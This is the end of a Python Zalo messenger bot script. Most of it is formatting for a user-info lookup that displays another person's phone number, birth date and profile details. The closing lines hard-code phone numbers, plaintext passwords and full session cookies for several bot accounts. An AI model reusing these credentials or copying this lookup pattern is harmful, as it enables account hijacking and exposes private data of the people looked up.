					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• '), length=11, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• '), length=6, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• '), length=4, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• '), length=9, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• '), length=7, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• '), length=8, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• '), length=12, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• '), length=13, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• '), length=14, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• '), length=14, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• '), length=16, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• '), length=14, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• '), length=7, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: {avatar}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: {avatar}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: {avatar}\n• '), length=6, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: {avatar}\n• Cover: '), length=3000, style="color", color="#a6adc8", auto_format=False))





					style = MultiMsgStyle(multistyle)
					self.replyMessage(Message(text=msg, style=style), message_object, thread_id, thread_type)
				except ZaloAPIException as e:
					print(f"Error fetching user info: {e}")
					self.replyMessage(Message(text=msg_error, style=style_error), message_object, thread_id, thread_type)
			except Exception as e:
				print(f"Error: {e}")
				self.replyMessage(Message(text=str(e), style=style_error), message_object, thread_id, thread_type)

#setSecretKey(
# print(VrxxTools().decode_protobuf_packet(b'\x01\x01\x00\x00\x00\x02\n\xac/\x08hM\x9f+\x00\x00\x03\x10\x87\xc2\xce\xa31X_\x00\xb4e\xaaDnT{0\xb9\x9a\x00\xc6\x82jC\xcb\xbd*^\xfct\xed\xb2,w\xafyO\\\xce\xda\x08\xad\xa3\xa9Z\x94b\x99\t\xeeF1\xc7)\xe9i\xd0\xd0\xb1:o\x9a>a\x86\x9c\x84\xaa\xe2V/\xc1+\x06\xe0l\xb0\x91\x92\xcbX\x12\x8f\xe0\xc5H\xc0].-\xca\x1e\x84\xd8\xe8\x91\xb9\x0f\x8d\x81\x90\x03\xd0\x8eB\x1ax\xe5:\xdc\x13>y\xc8?\xe0j\xb4\x89\x9e\x02,\xbdb\x15Ak\x0b)\xd9\x93\xd5\xad8z\x89\xb5\xc1J\xb8;\x96\xa3\xbb\xdcyW5iO\x16\x1c\xd8\x8f\x17\xc4\xa2\xffL\xc3\xffB\xd1\xc2\x1es\x16\xcc\x06\xa2\xf9\xe9\xfc\xa5H\xdd\xbe\xab\xe6\n9\x83M^\xbbk\xc2\xc1\xf9\xa3=\xd2}\xc7|\xd6\xf3\xa5\xf6w\x83i\x8e[\xf7\xabn\x08\xa3\xafsCs`\xe2\xf2\x8c\x1at8\xfb\xf8\xea\x8e\xe8\x16 v|\xe6\xb9\x97\x96\x0b\xbe\x07\xa4O0\x0bp\xd8\x81\xbb\xbdQa,\xac(\x85\x90j\xe13\xa0\xaa\\\xa7sL\xb1\xc0oc\xa8\xedQ\xba=42\xb4\x1c\x84\xaa\x01\x85\xa1{\xd6\x15`\xd2\x01\x8c:\xea\xbb\x18\x8d#Zs\xc3\xb7]\x129k\xe9f\x00\xc8\x14z\xf1\xae\xafy\x9d\x99\xbch\x0f\x9a\xa0tU\xd3Pg\xba0)_\x84OV\xa6\x82r\x01Rc\xc5#\xf6\xa4N\xda\x10\xac]\xb8R\xd8\xfd3 \x00&\x89\xdd\x8d\x8fk2\xad=\xaf\xfb\x7f\xae\xbbA\xf9\xeb!\xc7\xed1 \xe1\xf2,+\xcc\xbe\xeb\xcd\xda\x85"\x0e\x887[\xf9+4\xed\xd7\x1d3\xb2w,s\x80\x8d\xd3\xd3V\x9ch2\x04\n\xf5\x06\x160\xcb\xa0n\xe4\x8c\xef\x05i\x0bl\xc5\xa9_\xd3\xed\xda\x8eP4\x96\xedD\x11\xfa\xb3\x12\x9c\xcf\x1b\x84g\xfe[\xc1\xfe\xfd\xc1\xd6\x04\xc8\x8cy\xa0\xb4n\x96\xa8\xa8\x12\xdd\xaf6\xb6>\x14\\\xf8\xc8\xf2\xfb\x19\xc4_U \\\xc1U@yd\x1a`sC\xf6\x19\x08*/\xd22Y\x1e.\x0c\xd8\x91\xe9\x00\xff/\xa2\x15\xc3F\xe2-\xb8\xad\x0f\x9c\xaa\xfa\x8e\xd7;CF\xff\xb9\x88J\x98\xd29q1\xbbu\xc5\x0b\xa3\xbb\x8a\xa3\x00%/P\xa0\xb8\xc6\xc5S\xad\xf7LD\xa48m@\x99O\xe4H\x02\x11\xd2U0p\xeb\x19\xc5\xb4\xdf\xf0\xe9\x98X\xaa\xa1p\r\xb3 \x18\r&\x17\xa7\xcax\x8c\xc4>\xeau\x8a\xcb\x9f\xbd9]l/_PJ\xddF\xa7R\x98\x1f&\xd9\x87\xb4\x11\xbe\x02"\x0e/\x879\xe3\x0b\xb6B\xed\x14\x8af\xf4\xd5!\xc06|\xc0\x12\x1e.\xd5\x84j\xe0n\xaa\xe5<3B^\xaa\xf8\x8fe\x16\xe1\xa7\xf4\xa55\x99\xcf\x82\xb6\xe3\xa9\x04Q\x97t\x0b\xb3\xee\xdeg\tWj+\xa4\xa1\xda\xf4P\xafO\r\xb0\x16\x85^KHw\x8czf\x1a\xf8v\x08\x8f?\x8b\x11\xabOSD\x1a\x9c$\x06\xe8\x1b\x00\xee\xd6\x81!\xf3F\x9e`$\xd5eE\x04@\x05\x91y\x95\x9e\x95%\xa6(\xa2\xc3KBM\xf3S\xf5Gy\xa6\x18ze`Sq\x8c\xb2\x14{\xc3\xce\xeeJ\x90\x0e\x7fZ\xb0\x97pD\xf5\xf3@\x9b>\xea\x1a@RG\x9e]'[:6]))
# print(VrxxTools().Decrypt_API(b'\x01\x01\x00\x00\x00\x02\n\xac/\x08hM\x9f+\x00\x00\x03\x10\x87\xc2\xce\xa31X_\x00\xb4e\xaaDnT{0\xb9\x9a\x00\xc6\x82jC\xcb\xbd*^\xfct\xed\xb2,w\xafyO\\\xce\xda\x08\xad\xa3\xa9Z\x94b\x99\t\xeeF1\xc7)\xe9i\xd0\xd0\xb1:o\x9a>a\x86\x9c\x84\xaa\xe2V/\xc1+\x06\xe0l\xb0\x91\x92\xcbX\x12\x8f\xe0\xc5H\xc0].-\xca\x1e\x84\xd8\xe8\x91\xb9\x0f\x8d\x81\x90\x03\xd0\x8eB\x1ax\xe5:\xdc\x13>y\xc8?\xe0j\xb4\x89\x9e\x02,\xbdb\x15Ak\x0b)\xd9\x93\xd5\xad8z\x89\xb5\xc1J\xb8;\x96\xa3\xbb\xdcyW5iO\x16\x1c\xd8\x8f\x17\xc4\xa2\xffL\xc3\xffB\xd1\xc2\x1es\x16\xcc\x06\xa2\xf9\xe9\xfc\xa5H\xdd\xbe\xab\xe6\n9\x83M^\xbbk\xc2\xc1\xf9\xa3=\xd2}\xc7|\xd6\xf3\xa5\xf6w\x83i\x8e[\xf7\xabn\x08\xa3\xafsCs`\xe2\xf2\x8c\x1at8\xfb\xf8\xea\x8e\xe8\x16 v|\xe6\xb9\x97\x96\x0b\xbe\x07\xa4O0\x0bp\xd8\x81\xbb\xbdQa,\xac(\x85\x90j\xe13\xa0\xaa\\\xa7sL\xb1\xc0oc\xa8\xedQ\xba=42\xb4\x1c\x84\xaa\x01\x85\xa1{\xd6\x15`\xd2\x01\x8c:\xea\xbb\x18\x8d#Zs\xc3\xb7]\x129k\xe9f\x00\xc8\x14z\xf1\xae\xafy\x9d\x99\xbch\x0f\x9a\xa0tU\xd3Pg\xba0)_\x84OV\xa6\x82r\x01Rc\xc5#\xf6\xa4N\xda\x10\xac]\xb8R\xd8\xfd3 \x00&\x89\xdd\x8d\x8fk2\xad=\xaf\xfb\x7f\xae\xbbA\xf9\xeb!\xc7\xed1 \xe1\xf2,+\xcc\xbe\xeb\xcd\xda\x85"\x0e\x887[\xf9+4\xed\xd7\x1d3\xb2w,s\x80\x8d\xd3\xd3V\x9ch2\x04\n\xf5\x06\x160\xcb\xa0n\xe4\x8c\xef\x05i\x0bl\xc5\xa9_\xd3\xed\xda\x8eP4\x96\xedD\x11\xfa\xb3\x12\x9c\xcf\x1b\x84g\xfe[\xc1\xfe\xfd\xc1\xd6\x04\xc8\x8cy\xa0\xb4n\x96\xa8\xa8\x12\xdd\xaf6\xb6>\x14\\\xf8\xc8\xf2\xfb\x19\xc4_U \\\xc1U@yd\x1a`sC\xf6\x19\x08*/\xd22Y\x1e.\x0c\xd8\x91\xe9\x00\xff/\xa2\x15\xc3F\xe2-\xb8\xad\x0f\x9c\xaa\xfa\x8e\xd7;CF\xff\xb9\x88J\x98\xd29q1\xbbu\xc5\x0b\xa3\xbb\x8a\xa3\x00%/P\xa0\xb8\xc6\xc5S\xad\xf7LD\xa48m@\x99O\xe4H\x02\x11\xd2U0p\xeb\x19\xc5\xb4\xdf\xf0\xe9\x98X\xaa\xa1p\r\xb3 \x18\r&\x17\xa7\xcax\x8c\xc4>\xeau\x8a\xcb\x9f\xbd9]l/_PJ\xddF\xa7R\x98\x1f&\xd9\x87\xb4\x11\xbe\x02"\x0e/\x879\xe3\x0b\xb6B\xed\x14\x8af\xf4\xd5!\xc06|\xc0\x12\x1e.\xd5\x84j\xe0n\xaa\xe5<3B^\xaa\xf8\x8fe\x16\xe1\xa7\xf4\xa55\x99\xcf\x82\xb6\xe3\xa9\x04Q\x97t\x0b\xb3\xee\xdeg\tWj+\xa4\xa1\xda\xf4P\xafO\r\xb0\x16\x85^KHw\x8czf\x1a\xf8v\x08\x8f?\x8b\x11\xabOSD\x1a\x9c$\x06\xe8\x1b\x00\xee\xd6\x81!\xf3F\x9e`$\xd5eE\x04@\x05\x91y\x95\x9e\x95%\xa6(\xa2\xc3KBM\xf3S\xf5Gy\xa6\x18ze`Sq\x8c\xb2\x14{\xc3\xce\xeeJ\x90\x0e\x7fZ\xb0\x97pD\xf5\xf3@\x9b>\xea\x1a@RG\x9e]'))
#/////client = ZaloBot('</>', '</>', imei=imei, session_cookies=cookie, prefix="..")
vrxx = VrxxTools()
client = ZaloBot("0357293117", "Ngokhong1234", imei="Tahn", session_cookies={"_ga": "GA1.2.82129818.1763190687", "__zi": "3000.SSZzejyD0jmaagcstbS0Y3hSfwwT2nA2T92ahzH148Tnag7dr48Iot6SeUFLIXp8Dm.1", "__zi-legacy": "3000.SSZzejyD0jmaagcstbS0Y3hSfwwT2nA2T92ahzH148Tnag7dr48Iot6SeUFLIXp8Dm.1", "app.event.zalo.me": "4344476484271987651", "_zlang": "vn", "_gid": "GA1.2.298413293.1764502015", "zpsid": "mAcM.314614144.185.1d3KibXR1H7O-iK3L5i54IqeTo9fRpCWR6en9LbkTwrggYUmMMulFJ5R1H4", "zpw_sek": "X13E.314614144.a0.FkS4GQjKzW8hzJOGYbJs0j1sasc9RjGqd0FTCy4QtMZvOCPkx1MNIjy-mKxSQSiWrbN3S1Tc1o0ALS4eXpts0W"}, prefix=">")

# client.joinbox("https://zalo.me/g/vgfyzy453")
ThreadPoolExecutor(max_workers=10).submit(ZaloBot("0356206328", "Ducanh25122009@", imei="duccac", session_cookies={"nl_bc25f23638b0498c4e36dd20731c2c28": "tzaoLC8i6ltBqJLLmoiR-SdKDKlKTNgycDCN03enVG", "zpdid": "4H7ta5pseZiR6fgKMVhBEXyUcvrI_Sat", "zlogin_session": "kW4JGLyjCnIxFnDDLXTbH-Tj1qLH5cH0vcaSKWzKQbYjA0XO0rHbMQqh1Lq3NsXFVG", "zpsid": "V2uW.442977084.7.g3RKDHNLI9yfdY-56TL8ds2cEgiXvt6e8kLmgxLglFmd96e-595aZtpLI9y		", "_zlang": "vn", "zlogtype": "VOYGeyK5m7USsXy6-PJd1q3_iwFQ8gW2pEndECU4t3P5_xIGeXpsT8xN", "zpw_sek": "O8u4.442977084.a0.01WpTSZwbQpqiVAswVgLhBFOyCVgmBVXyR6YzeRDyTgvaypEWCdNxV-Gkiw9nwYEjLegMAl8P8vf-zs0s9ELh0"}, prefix="!")._listen_ws, type=1)
# imei = "c9901eca-3a8e-443a-a84f-4d8a1f891c20-7ddeda88d0c599cc494da0dece6554d5"
# cookies = {"_ga": "GA1.2.1484082050.1753281513", "__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8W_dUkbaqfMZdkSvAVSILcAVfRlhZ8r.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8W_dUkbaqfMZdkSvAVSILcAVfRlhZ8r.1", "_ga_RYD7END4JE": "GS2.2.s1753801066$o7$g0$t1753801066$j60$l0$h0", "zpsid": "xJwT.414618087.5.xFpodIh3TudDKi6H9iDtYL-m1RqRzq6u4lDFlaBVgS1iqlFLAwDiAaB3Tua", "zpw_sek": "v7ZH.414618087.a0.t754oMrIC0IAmuOSJ58m11PmLMzFQ19KN09ISJi2SZ5L5mPl3WW9I3WhKJOARmqc43eisYGK8O0nKrCVpZem10", "app.event.zalo.me": "6560833318628620933", "_zlang": "vn"}
